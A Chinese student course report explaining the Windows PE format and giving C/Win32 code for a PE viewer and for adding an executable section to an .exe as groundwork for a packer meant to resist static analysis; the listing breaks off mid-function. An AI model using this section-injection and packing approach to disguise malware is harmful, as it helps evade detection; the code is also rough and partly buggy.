20174310隋润起网络对抗免考报告
20174310隋润起网络对抗免考报告
——PE结构及加壳的一种实现方式
重难点:
- 对c语言指针的使用
- 编程对exe类型文件的PE结构进行解析
- 编程实现PE信息的修改,为加壳做准备
- 对win32一些函数的使用
- 一种新的二进制壳的思路并通过C语言编程实现(可以抵挡静态分析)
一、PE解析(对一些重要的位置进行解释)
- DOS头
0x00 WORD e_magic; //**必须是MZ(人名缩写)开始的地方,判断是不是PE文件
0x02 WORD e_cblp;
0x04 WORD e_cp;
0x06 WORD e_crlc;
0x08 WORD e_cparhdr;
0x0a WORD e_minalloc;
0x0c WORD e_maxalloc;
0x0e WORD e_ss;
0x10 WORD e_sp;
0x12 WORD e_csum;
0x14 WORD e_ip;
0x16 WORD e_cs;
0x18 WORD e_lfarlc;
0x1a WORD e_ovno;
0x1c WORD e_res[4];
0x24 WORD e_oemid;
0x26 WORD e_oeminfo;
0x28 WORD e_res2[10];
0x3c DWORD e_lfanew **指向真正PE文件开始的地方,从开始的地方的偏移量
- 中间是垃圾数据(对于逆向分析来说是无用的数据,一些程序运行的备注信息,当我们进行新增节时,若头部信息不足,可以修改e_lfanew,把这块信息清除改为我们想要插入的数据)
- NT头包含了 标准PE头 和 可选PE头(很重要***)
0x00 DWORD Signature; 此处数据转换成英文是PE
0x04 _IMAGE_FILE_HEADER FileHeader;跳到标准pe头
0x18 _IMAGE_OPTIONAL_HEADER OptionalHeader;
- 标准PE头
0x00 WORD Machine;* 能在什么样的CPU上运行 0是任何CPU 14C是能在386以及后续处理器上运行
0x02 WORD NumberOfSections;* 一共有多少个节,分了多少节(除了头以外)
0x04 DWORD TimeDateStamp;*时间戳 检查map文件与exe的时间戳是否一样,不一样会出问题(map存储函数说明、地址)
0x08 DWORD PointerToSymbolTable;
0x0c DWORD NumberOfSymbols;
0x10 WORD SizeOfOptionalHeader;*可选PE头的大小(标准pe头和doc头是固定的)
0x12 WORD Characteristics; 每个位有不同的含义
24字节
- 可选PE头
0x00 WORD Magic;* 32位pe文件是10B 64位pe文件是20B
0x02 BYTE MajorLinkerVersion;
0x03 BYTE MinorLinkerVersion;
0x04 DWORD SizeOfCode;* 代码节所有字节的和,每一节必须是FileAlignment的整数倍,编译器进行填充(没用,更改了仍能正常运行)发展到现在没用了
0x08 DWORD SizeOfInitializedData;* 已初始化数据的大小,性质和上面相同(设立初值)
0x0c DWORD SizeOfUninitializedData;* 未初始化数据的大小,性质和上面相同(没有设立初值)
0x10 DWORD AddressOfEntryPoint;* 程序入口,在文件中,在内存中要加上imagebase:为了空出保护区和模块对齐
0x14 DWORD BaseOfCode;* 代码基址,编译器填充,没用 正常情况下程序入口在代码中,但可以更改
0x18 DWORD BaseOfData;* 数据基址,编译器填充,没用(改了不会影响运行)
0x1c DWORD ImageBase;* 最重要,在内存中运行的实际基址 一个exe是由一堆pe文件组成(会用到多个dll)
0x20 DWORD SectionAlignment;* 中间0的大小在内存中
0x24 DWORD FileAlignment;* 中间0的大小在文件中(未运行)根据编译器版本两者可能相同可能不同
0x28 WORD MajorOperatingSystemVersion;
0x2a WORD MinorOperatingSystemVersion;
0x2c WORD MajorImageVersion;
0x2e WORD MinorImageVersion;
0x30 WORD MajorSubsystemVersion;
0x32 WORD MinorSubsystemVersion;
0x34 DWORD Win32VersionValue;
0x38 DWORD SizeOfImage;* 在内存中拉伸后的大小,可以比实际大,但必须是SectionAlignment的整数倍,对齐便于遍历
0x3c DWORD SizeOfHeaders;头+节表在文件中对齐后的大小,必须是FileAlignment的整数倍,对齐
0x40 DWORD CheckSum;* 校验和WORD,两两相加后存入,自然溢出,验证是否出错
0x44 WORD Subsystem;
0x46 WORD DllCharacteristics;
0x48 DWORD SizeOfStackReserve;* 初始化时保留栈的大小(最大值)
0x4c DWORD SizeOfStackCommit;*实际提交的大小
0x50 DWORD SizeOfHeapReserve;* 初始化时保留堆的大小
0x54 DWORD SizeOfHeapCommit;* 实际提交的大小
0x58 DWORD LoaderFlags;
0x5c DWORD NumberOfRvaAndSizes;* 目录项数目(后面还有多少目录项)记录编译器向EXE加的数据的信息

实现的PE工具中列出的DOS头、PE头、可选PE头中的重要的信息
- 节表(每个节一个节表,依次排列,在NumberOfSections记录了节表的数量)
0x00 BYTE Name[IMAGE_SIZEOF_SHORT_NAME];//可能不存在‘/0’所以要用char[9]取出,可以更改,起个名字
union {
0x08 DWORD PhysicalAddress;
0x08 DWORD VirtualSize;//节表指向该节字节对齐之前,内存中数据的大小,可以不准确,不影响程序的运行
} Misc;
0x0c DWORD VirtualAddress;//指向的节区在内存中的偏移地址,加上imagebase
0x10 DWORD SizeOfRawData;//指向的节在文件对其之后的尺寸
0x14 DWORD PointerToRawData;//指向的节区在文件中的偏移,从零开始
0x18 DWORD PointerToRelocations;//无意义
0x1c DWORD PointerToLinenumbers;//无意义
0x20 WORD NumberOfRelocations;//无意义
0x22 WORD NumberOfLinenumbers;//无意义
0x24 DWORD Characteristics;//当前节的属性
属性对照表:(用了其中的一些位,并非全部,表示一些属性)
00000020h:包含可执行代码
00000040h:包含初始化的数据
00000080h:包含未初始化的数据
10000000h:该节为共享节
20000000h:可执行节
40000000h:可读节
80000000h:可写节

实现的PE工具中列出每一个节表重要的信息
- PE加载的过程:(每个exe程序运行在操作系统分配的4GB虚拟内存中)
1、根据SizeOfImage的大小,开辟一块缓冲区(ImageBuffer).
2、根据SizeOfHeader的大小,将头信息从FileBuffer拷贝到ImageBuffer
3、根据节表中的信息循环讲FileBuffer中的节拷贝到ImageBuffer中.
示意图:(在附件PE加载示意图中可见)

如何新建一个节(加壳所需):
1、SizeOfHeader - (DOS + 垃圾数据 + PE标记 + 标准PE头 + 可选PE头 + 已存在节表)>= 2个节表的大小
2、需要修改的数据
1) 添加一个新的节(可以copy一份)
2) 在新增节后面 填充一个节大小的一串0(PE结构判断节表信息结束是判断当最后有一个节表长度大小的0表示节表信息到此结束)
3) 修改PE头中节的数量NumberOfSections
4) 修改sizeOfImage的大小
5) 再原有数据的最后,新增一个节的数据(内存对齐的整数倍).
6)修正新增节表的属性
函数代码(加壳程序中的添加新节函数):
char* add_section_2(char* start_image){
char* start_new_image;
if(headers_file.SizeOfHeaders-headers_file.e_lfanew-headers_file.SizeOfOptionalHeader-24-headers_file.NumberOfSections*40<80){
//printf("space is not statific");
}
else{
//printf("space is statific");
start_new_image = (char*)malloc(headers_file.SizeOfImage+(flen/0x1000+1)*0x1000);
memset(start_new_image,0,headers_file.SizeOfImage+(flen/0x1000+1)*0x1000);
memcpy(start_new_image,start_image,headers_file.SizeOfImage);
*(short*)(start_new_image+headers_file.e_lfanew+6) = headers_file.NumberOfSections+1;
*(int*)(start_new_image+headers_file.e_lfanew+80) = headers_file.SizeOfImage+(flen/0x1000+1)*0x1000;
memcpy(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40,start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24,40);
*(char*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40) = 'a';
*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+0x24) = 0xe0000020;
*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+8) = (flen/0x1000+1)*0x1000;
printf("%x",(flen/0x1000+1)*0x1000);
int a;
if((sections.VirtualAddress+sections.VirtualSize)%0x1000==0){
a = sections.VirtualAddress+sections.VirtualSize;
}
else{
a = ((sections.VirtualAddress+sections.VirtualSize)/0x1000+1)*0x1000;
}
//sections.VirtualSize = headers_file.SectionAlignment;
if(sections.VirtualSize>sections.SizeOfRawData){
*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+12) = a;
}
else{
*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+12) = a;
}
//printf("%x\n",a);
//sections.VirtualAddress = sections.VirtualAddress+sections.VirtualSize;
*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+16) = (flen/0x1000+1)*0x1000;
//sections.SizeOfRawData = headers_file.FileAlignment;
*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+20) = sections.PointerToRawData+sections.SizeOfRawData;
if(sections.VirtualSize>sections.SizeOfRawData){
sections.VirtualAddress = a;}
else{
sections.VirtualAddress = a;
}
sections.PointerToRawData = sections.PointerToRawData+sections.SizeOfRawData;
sections.VirtualSize = (flen/0x1000+1)*0x1000;
sections.SizeOfRawData = (flen/0x1000+1)*0x1000;
}
addcode(start_new_image);
return start_new_image;
}
- 数据目录:
1、我们所了解的PE分为头和节,在每个节中,都包含了我们写的一些代码和数据,但还有一些非常重要
的信息是编译器替我们加到PE文件中的,这些信息可能存在在任何可以利用的地方。
2、这些信息之所以重要,是因为这些信息包含了诸如:
PE程序的图标在哪里?
用到了哪些系统提供的函数?
为其他的程序提供哪些函数?
3、编译器添加了这么多信息,那程序是如何找到这些信息的呢?
答案就是:数据目录
4、数据目录定位:
可选PE头最后一个成员,就是数据目录.一共有16个:
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress; //内存偏移
DWORD Size; //大小
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16
分别是:导出表、导入表、资源表、异常信息表、安全证书表、重定位表、调试信息表、版权所以表、全局指针表
TLS表、加载配置表、绑定导入表、IAT表、延迟导入表、COM信息表 最后一个保留未使用。
和程序运行时息息相关的表有:
- 导出表
1.数据目录项的第一个结构,就是导出表,其中的内存偏移 VirtualAddress指向导出表真正的位置
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
VirtualAddress 导出表的RVA
Size 导出表大小
2.导出表结构:
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics; // 未使用
DWORD TimeDateStamp; // 时间戳
WORD MajorVersion; // 未使用
WORD MinorVersion; // 未使用
DWORD Name; // 指向该导出表文件名字符串
DWORD Base; // 导出函数起始序号
DWORD NumberOfFunctions; // 所有导出函数的个数
DWORD NumberOfNames; // 以函数名字导出的函数个数
DWORD AddressOfFunctions; // 导出函数地址表RVA
DWORD AddressOfNames; // 导出函数名称表RVA
DWORD AddressOfNameOrdinals; // 导出函数序号表RVA
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
三个重要的结构:AddressOfFunctions、AddressOfNames、AddressOfNameOrdinals
3、AddressOfFunctions说明:
该表中元素宽度为4个字节
该表中存储所有导出函数的地址
该表中个数由NumberOfFunctions决定
该表项中的值是RVA, 加上ImageBase才是函数真正的地址
4、AddressOfNames说明:
该表中元素宽度为4个字节
该表中存储所有以名字导出函数的名字的RVA
该表项中的值是RVA, 指向函数真正的名称

5、AddressOfNameOrdinals
该表中元素宽度为2个字节
该表中存储的内容 + Base = 函数的导出序号
- 导入表
1.导入表结构:
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics;
DWORD OriginalFirstThunk; //RVA 指向IMAGE_THUNK_DATA结构数组
};
DWORD TimeDateStamp; //时间戳
DWORD ForwarderChain;
DWORD Name; //RVA,指向dll名字,该名字已0结尾
DWORD FirstThunk; //RVA,指向IMAGE_THUNK_DATA结构数组
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;
2.示意图:


- 重定位表
1.重定位表的定位:
数据目录项的第6个结构,就是重定位表.
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
2.重定位表的结构:
typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress;
DWORD SizeOfBlock;
} IMAGE_BASE_RELOCATION;
typedef IMAGE_BASE_RELOCATION ,* PIMAGE_BASE_RELOCATION;

3.解析说明:
1、通过IMAGE_DATA_DIRECTORY结构的VirtualAddress
属性 找到第一个IMAGE_BASE_RELOCATION
2、判断一共有几块数据:
最后一个结构的VirtualAddress与SizeOfBlock都为0
3、具体项 宽度:2字节
位于SizeOfBlock之后的数据
内存中的页大小是1000H 也就是说2的12次方 就可以表示
一个页内所有的偏移地址 具体项的宽度是16字节 高四位
代表类型:值为3 代表的是需要修改的数据 值为0代表的是
用于数据对齐的数据,可以不用修改.也就是说 我们只关注
高4位的值为3的就可以了.
4、VirtualAddress 宽度:4字节
当前这一个块的数据,每一个低12位的值+VirtualAddress 才是
真正需要修复的数据的RVA
真正的RVA = VirtualAddress + 具体项的低12位
5、SizeOfBlock 宽度:4字节
当前块的总大小
具体项的数量 = (SizeOfBlock - 8)/2
二、运用C语言、win32函数及上述知识写一个PE解析的图形界面
- 使用win32函数而不是QT或者MFC来构建图形界面,使我更加了解了底层的工作原理,有助于对图形界面的逆向分析

vc中的主界面

实际运行的主界面

vc中的PE查看器界面

选择程序进行PE查看(exe)

实际运行的PE查看界面(这里选择的exe是程序本身)

vc中的节表界面

实际运行的节表界面

vc中的目录界面

实际运行的目录界面
还有各种具体的目录信息界面,这里不做赘述。
源代码:(编写匆忙,备注信息可能不太准确)
// PE工具.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
#include "resource.h"
#include <stdlib.h>
#include <commctrl.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <commdlg.h>
#pragma commment(lib,"comctl32.lib")
HINSTANCE hInstanceicon;
OPENFILENAME stOpenFile;
int flen = 0;
char* p1;
char* p2;
int len1,len2;
HWND hwndDlg1;
typedef struct PE{
int e_lfanew;
short NumberOfSections;
short SizeOfOptionalHeader;
int EntryPoint;
int ImageBase ;
int SectionAlignment ;
int SizeOfImage;
int FileAlignment;
int SizeOfHeaders;
int BaseOfCode;
int BaseOfData;
int CheckSum;
short Characteristics;
int TimeDateStamp;
int NumberOfRvaAndSizes;
}headers;
typedef struct standard{
int address;
int size;
}dir;
typedef struct dir_all{
dir d1;
dir d2;
dir d3;
dir d4;
dir d5;
dir d6;
dir d7;
dir d8;
dir d9;
dir d10;
dir d11;
dir d12;
dir d13;
dir d14;
dir d15;
dir d16;
}dir_num;
typedef struct sec{
int PointerToRawData;
int SizeOfRawData;
int VirtualAddress;
int VirtualSize;
int Characteristics;
}section;
typedef struct export{
int Time;
TCHAR* Name;
int Base;
int NumberOfFunctions;
int NumberOfNames;
int AddressOfFunctions;
int AddressOfNames;
int AddressOfNameOrdinals;
char* Name_fun;
short ordinal;
int RVA;
}ex;
ex export;
headers headers_file;
section sections;
dir_num DN;
char* get_file(){
FILE* fp;
char* p;
fp = fopen(stOpenFile.lpstrFile,"rb");
if(fp == NULL){
printf("file error");
}
fseek(fp,0L,SEEK_END);
flen = ftell(fp);
fseek(fp,0L,SEEK_SET);
p = (char*)malloc(flen);
fread(p,flen,1,fp);
fclose(fp);
return p;
}
char get_char_data(char* start,int distance){
char data = *(start+distance);
return data;
}
short get_short_data(char* start,int distance){
short data =*(short*) (start+distance);
return data;
}
int get_int_data(char* start,int distance){
int data =*(int*) (start+distance);
return data;
}
void getInfo(){
char* start = get_file();
char* s = start;
headers_file.e_lfanew = get_int_data(start,60);
start = start+headers_file.e_lfanew;
headers_file.NumberOfSections = get_short_data(start,6);
headers_file.TimeDateStamp = get_int_data(start,8);
headers_file.SizeOfOptionalHeader = get_short_data(start,20);
headers_file.Characteristics = get_short_data(start,22);
start = start+24;
headers_file.EntryPoint = get_int_data(start,16);
headers_file.BaseOfCode = get_int_data(start,20);
headers_file.BaseOfData = get_int_data(start,24);
headers_file.ImageBase = get_int_data(start,28);
headers_file.SectionAlignment = get_int_data(start,32);
headers_file.SizeOfImage = get_int_data(start,56);
headers_file.FileAlignment = get_int_data(start,36);
headers_file.SizeOfHeaders = get_int_data(start,60);
headers_file.CheckSum = get_int_data(start,64);
headers_file.NumberOfRvaAndSizes = get_int_data(start,92);
free(s);
}
void getInfo_dir(){
char* start = get_file();
char* s = start;
DN.d1.address = get_int_data(start,headers_file.e_lfanew+120);
DN.d1.size = get_int_data(start,headers_file.e_lfanew+120+4);
DN.d2.address = get_int_data(start,headers_file.e_lfanew+120+8);
DN.d2.size = get_int_data(start,headers_file.e_lfanew+120+4+8);
DN.d3.address = get_int_data(start,headers_file.e_lfanew+120+8*2);
DN.d3.size = get_int_data(start,headers_file.e_lfanew+120+4+8*2);
DN.d4.address = get_int_data(start,headers_file.e_lfanew+120+8*3);
DN.d4.size = get_int_data(start,headers_file.e_lfanew+120+4+8*3);
DN.d5.address = get_int_data(start,headers_file.e_lfanew+120+8*4);
DN.d5.size = get_int_data(start,headers_file.e_lfanew+120+4+8*4);
DN.d6.address = get_int_data(start,headers_file.e_lfanew+120+8*5);
DN.d6.size = get_int_data(start,headers_file.e_lfanew+120+4+8*5);
DN.d7.address = get_int_data(start,headers_file.e_lfanew+120+8*6);
DN.d7.size = get_int_data(start,headers_file.e_lfanew+120+4+8*6);
DN.d8.address = get_int_data(start,headers_file.e_lfanew+120+8*7);
DN.d8.size = get_int_data(start,headers_file.e_lfanew+120+4+8*7);
DN.d9.address = get_int_data(start,headers_file.e_lfanew+120+8*8);
DN.d9.size = get_int_data(start,headers_file.e_lfanew+120+4+8*8);
DN.d10.address = get_int_data(start,headers_file.e_lfanew+120+8*9);
DN.d10.size = get_int_data(start,headers_file.e_lfanew+120+4+8*9);
DN.d11.address = get_int_data(start,headers_file.e_lfanew+120+8*10);
DN.d11.size = get_int_data(start,headers_file.e_lfanew+120+4+8*10);
DN.d12.address = get_int_data(start,headers_file.e_lfanew+120+8*11);
DN.d12.size = get_int_data(start,headers_file.e_lfanew+120+4+8*11);
DN.d13.address = get_int_data(start,headers_file.e_lfanew+120+8*12);
DN.d13.size = get_int_data(start,headers_file.e_lfanew+120+4+8*12);
DN.d14.address = get_int_data(start,headers_file.e_lfanew+120+8*13);
DN.d14.size = get_int_data(start,headers_file.e_lfanew+120+4+8*13);
DN.d15.address = get_int_data(start,headers_file.e_lfanew+120+8*14);
DN.d15.size = get_int_data(start,headers_file.e_lfanew+120+4+8*14);
DN.d16.address = get_int_data(start,headers_file.e_lfanew+120+8*15);
DN.d16.size = get_int_data(start,headers_file.e_lfanew+120+4+8*15);
free(s);
}
int Rva_to_Foa(int virtualAddress,char* start){
if(virtualAddress<headers_file.SizeOfHeaders){
return virtualAddress;
}
int fileAddress;
int i;
char* start_section = start+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
for(i=0;i<headers_file.NumberOfSections;i++){
sections.PointerToRawData = get_int_data(start_section,20);
sections.SizeOfRawData = get_int_data(start_section,16);
sections.VirtualAddress = get_int_data(start_section,12);
sections.VirtualSize = get_int_data(start_section,8);
int max;
max = sections.VirtualSize>sections.SizeOfRawData?sections.VirtualSize:sections.SizeOfRawData;
if(virtualAddress<sections.VirtualAddress+max){
//printf("%d",i);
fileAddress = virtualAddress-sections.VirtualAddress+sections.PointerToRawData;
/*printf("%x\n",sections.VirtualAddress);
printf("%x\n",sections.PointerToRawData);
printf("%x",fileAddress);*/
break;
}
start_section = start_section+40;
}
return fileAddress;
}
void get_export_Info(){
char* start = get_file();
int virtualAddress = get_int_data(start,headers_file.e_lfanew+120);
int fileAddress = Rva_to_Foa(virtualAddress,start);
char* export_start;
//printf("%x",fileAddress);
export_start = start+fileAddress;
int Name_Address = get_int_data(export_start,12);
export.Name = start+Name_Address;
export.Base = get_int_data(export_start,16);
export.Time = get_int_data(export_start,4);
export.NumberOfFunctions = get_int_data(export_start,20);
export.NumberOfNames = get_int_data(export_start,24);
export.AddressOfFunctions = get_int_data(export_start,28);
export.AddressOfNames = get_int_data(export_start,32);
export.AddressOfNameOrdinals = get_int_data(export_start,36);
}
VOID EnumModules(HWND hListProcess,WPARAM wParam,LPARAM lParam,HWND hListProcess_down)
{
DWORD dwRowId;
TCHAR szPid[0x20];
LV_ITEM vitem;
memset(szPid,0,0x20);
memset(&vitem,0,sizeof(LV_ITEM));
dwRowId = SendMessage(hListProcess,LVM_GETNEXTITEM,-1,LVNI_SELECTED);
if(dwRowId == -1)
{
MessageBox(NULL,TEXT("请选择进程"),TEXT("出错拉"),MB_OK);
}
vitem.iSubItem = 1;
vitem.pszText = szPid;
vitem.cchTextMax = 0x20;
SendMessage(hListProcess,LVM_GETITEMTEXT,dwRowId,(DWORD)&vitem);
HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,atoi(szPid));
MODULEENTRY32 te={sizeof(te)};
BOOL bRet=Module32First(hShot,&te);
int i=0;
if(bRet)
{
while(bRet)
{
vitem.pszText = te.szModule;
vitem.iItem = i;
vitem.iSubItem = 0;
SendMessage(hListProcess_down, LVM_INSERTITEM,0,(DWORD)&vitem);
vitem.pszText = te.szExePath;
vitem.iItem = i;
vitem.iSubItem = 1;
ListView_SetItem(hListProcess_down, &vitem);
bRet=Module32Next(hShot,&te);
i++;
}
CloseHandle(hShot);
}
else{
MessageBox(0,"不存在模块",0,MB_OK);
while(i<200){
vitem.pszText = "";
vitem.iItem = i;
vitem.iSubItem = 0;
SendMessage(hListProcess_down, LVM_INSERTITEM,0,(DWORD)&vitem);
i++;
}
}
}
VOID EnumModules_import(HWND hListProcess,WPARAM wParam,LPARAM lParam,HWND hListProcess_down)
{
DWORD dwRowId;
TCHAR szPid[0x20];
LV_ITEM vitem;
memset(szPid,0,0x20);
memset(&vitem,0,sizeof(LV_ITEM));
int j=0;
while(j<200){
vitem.pszText = "";
vitem.iItem = j;
vitem.iSubItem = 0;
SendMessage(hListProcess_down, LVM_INSERTITEM,0,(DWORD)&vitem);
j++;
}
dwRowId = SendMessage(hListProcess,LVM_GETNEXTITEM,-1,LVNI_SELECTED);
if(dwRowId == -1)
{
MessageBox(NULL,TEXT("请选择进程"),TEXT("出错拉"),MB_OK);
}
vitem.iSubItem = 1;
vitem.pszText = szPid;
vitem.cchTextMax = 0x20;
SendMessage(hListProcess,LVM_GETITEMTEXT,dwRowId,(DWORD)&vitem);
char* start = get_file();
DWORD temp;
sscanf(szPid,"%x", &temp);
int file_first_thunk = Rva_to_Foa(temp,start);
char* INT = start+file_first_thunk;
int i = 0;
TCHAR info[0x20];
while(1){
int num = get_int_data(INT,0);
if(num==0){break;}
num = num&0x7fffffff;
num = Rva_to_Foa(num,start);
short hint=get_short_data(start+num,0);
vitem.pszText = start+num+2;
vitem.iItem = i;
vitem.iSubItem = 0;
SendMessage(hListProcess_down, LVM_INSERTITEM,0,(DWORD)&vitem);
sprintf(info,"%04x",hint);
vitem.pszText = info;
vitem.iItem = i;
vitem.iSubItem = 3;
ListView_SetItem(hListProcess_down, &vitem);
sprintf(info,"%08x",temp);
vitem.pszText = info;
vitem.iItem = i;
vitem.iSubItem = 1;
ListView_SetItem(hListProcess_down, &vitem);
sprintf(info,"%08x",file_first_thunk);
vitem.pszText = info;
vitem.iItem = i;
vitem.iSubItem = 2;
ListView_SetItem(hListProcess_down, &vitem);
temp = temp+4;
file_first_thunk = file_first_thunk+4;
INT = INT+4;
i++;
}
free(start);
}
VOID EnumModules_re(HWND hListProcess,WPARAM wParam,LPARAM lParam,HWND hListProcess_down)
{
DWORD dwRowId;
TCHAR szPid[0x20];
LV_ITEM vitem;
memset(szPid,0,0x20);
memset(&vitem,0,sizeof(LV_ITEM));
int j=0;
while(j<500){
vitem.pszText = "";
vitem.iItem = j;
vitem.iSubItem = 0;
SendMessage(hListProcess_down, LVM_INSERTITEM,0,(DWORD)&vitem);
j++;
}
dwRowId = SendMessage(hListProcess,LVM_GETNEXTITEM,-1,LVNI_SELECTED);
if(dwRowId == -1)
{
MessageBox(NULL,TEXT("请选择进程"),TEXT("出错拉"),MB_OK);
}
vitem.iSubItem = 0;
vitem.pszText = szPid;
vitem.cchTextMax = 0x20;
SendMessage(hListProcess,LVM_GETITEMTEXT,dwRowId,(DWORD)&vitem);
TCHAR info[0x20];
char* start = get_file();
int time;
sscanf(szPid,"%d",&time);
int virtualAddress = get_int_data(start,headers_file.e_lfanew+120+8*5);
int fileAddress = Rva_to_Foa(virtualAddress,start);
char* relocation_start;
relocation_start = start+fileAddress;
int i,m=0,RVA,Size_of_Block;
short data,offset,type;
while(1){
RVA = get_int_data(relocation_start,0);
Size_of_Block = get_int_data(relocation_start,4);
int num = (Size_of_Block-8)/2;
if(m == time-1){
for(i=0;i<num;i++){
data = get_short_data(relocation_start,8+2*i);
offset = data&0x0fff;
type = (data>>12)&0xf;
int RVA_output = RVA+offset;
int FOA = Rva_to_Foa(RVA_output,start);
sprintf(info,"%d",i+1);
vitem.pszText = info;
vitem.iItem = i;
vitem.iSubItem = 0;
SendMessage(hListProcess_down, LVM_INSERTITEM,0,(DWORD)&vitem);
sprintf(info,"%08x",RVA_output);
vitem.pszText = info;
vitem.iItem = i;
vitem.iSubItem = 1;
ListView_SetItem(hListProcess_down, &vitem);
sprintf(info,"%08x",FOA);
vitem.pszText = info;
vitem.iItem = i;
vitem.iSubItem = 2;
ListView_SetItem(hListProcess_down, &vitem);
sprintf(info,"%d",type);
vitem.pszText = info;
vitem.iItem = i;
vitem.iSubItem = 3;
ListView_SetItem(hListProcess_down, &vitem);
}
break;
}
m++;
relocation_start = relocation_start + Size_of_Block;
}
free(start);
}
VOID EnumProcess(HWND hListProcess)
{
LV_ITEM vitem;
//初始化
memset(&vitem,0,sizeof(LV_ITEM));
vitem.mask = LVIF_TEXT;
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
//获得系统进程快照的句柄
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
{
MessageBox(0,0,0,0);
return;
}
//首先获得第一个进程
BOOL bProcess = Process32First(hProcessSnap, &pe32);
int i = 0;
//循环获得所有进程
while (bProcess)
{
vitem.pszText = pe32.szExeFile;
vitem.iItem = i;
vitem.iSubItem = 0;
SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem);
char temp[20];
itoa(pe32.th32ProcessID,temp,10);
vitem.pszText = temp;
vitem.iItem = i;//第一行
vitem.iSubItem = 1; //第二列
ListView_SetItem(hListProcess, &vitem);
HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,pe32.th32ProcessID);
int err=GetLastError();
MODULEENTRY32 te={sizeof(te)};
BOOL bRet=Module32First(hShot,&te);
int pProcessImageBase = (DWORD)te.modBaseAddr;
TCHAR szImageBase[0x20]; //进程基址
memset(szImageBase, 0, 0x20);
TCHAR szImageSize[0x20]; //进程大小
memset(szImageSize, 0, 0x20);
if(bRet){
sprintf(szImageBase,"%08x",pProcessImageBase);
vitem.pszText = szImageBase;
vitem.iItem = i;
vitem.iSubItem = 2;
ListView_SetItem(hListProcess, &vitem);
sprintf(szImageBase,"%08x",te.modBaseSize);
vitem.pszText = szImageBase;
vitem.iItem = i;
vitem.iSubItem = 3;
ListView_SetItem(hListProcess, &vitem);
}
CloseHandle(hShot);
i++;
bProcess = Process32Next(hProcessSnap, &pe32);
}
CloseHandle(hProcessSnap);
/*
vitem.pszText = TEXT("000F0000");
vitem.iItem = 0;
vitem.iSubItem = 3;
ListView_SetItem(hListProcess, &vitem);
vitem.pszText = TEXT("winlogon.exe");
vitem.iItem = 1;
vitem.iSubItem = 0;
//ListView_InsertItem(hListProcess, &vitem);
SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem);
vitem.pszText = TEXT("456");
vitem.iSubItem = 1;
ListView_SetItem(hListProcess, &vitem);
vitem.pszText = TEXT("10000000");
vitem.iSubItem = 2;
ListView_SetItem(hListProcess, &vitem);
vitem.pszText = TEXT("000045800");
vitem.iSubItem = 3;
ListView_SetItem(hListProcess, &vitem); */
}
VOID InitProcessListView(HWND hDlg)
{
LV_COLUMN lv;
HWND hListProcess;
//初始化
memset(&lv,0,sizeof(LV_COLUMN));
//获取IDC_LIST_PROCESS句柄
hListProcess = GetDlgItem(hDlg,IDC_PROCESS1);
//设置整行选中
SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT);
//第一列
lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM;
lv.pszText = TEXT("进程"); //列标题
lv.cx = 200;
lv.iSubItem = 0;
//ListView_InsertColumn(hListProcess, 0, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv);
//第二列
lv.pszText = TEXT("PID");
lv.cx = 100;
lv.iSubItem = 1;
//ListView_InsertColumn(hListProcess, 1, &lv);
SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv);
//第三列
lv.pszText = TEXT("镜像基址");
lv.cx = 100;
lv.iSubItem = 2;
ListView_InsertColumn(hListProcess, 2, &lv);
//第四列
lv.pszText = TEXT("镜像大小");
lv.cx = 100;
lv.iSubItem = 3;
ListView_InsertColumn(hListProcess, 3, &lv);
EnumProcess(hListProcess);
}
VOID InitProcessListView_down(HWND hDlg)
{
LV_COLUMN lv;
HWND hListProcess;
//初始化
memset(&lv,0,sizeof(LV_COLUMN));
//获取IDC_LIST_PROCESS句柄
hListProcess = GetDlgItem(hDlg,IDC_PROCESS2);
//设置整行选中
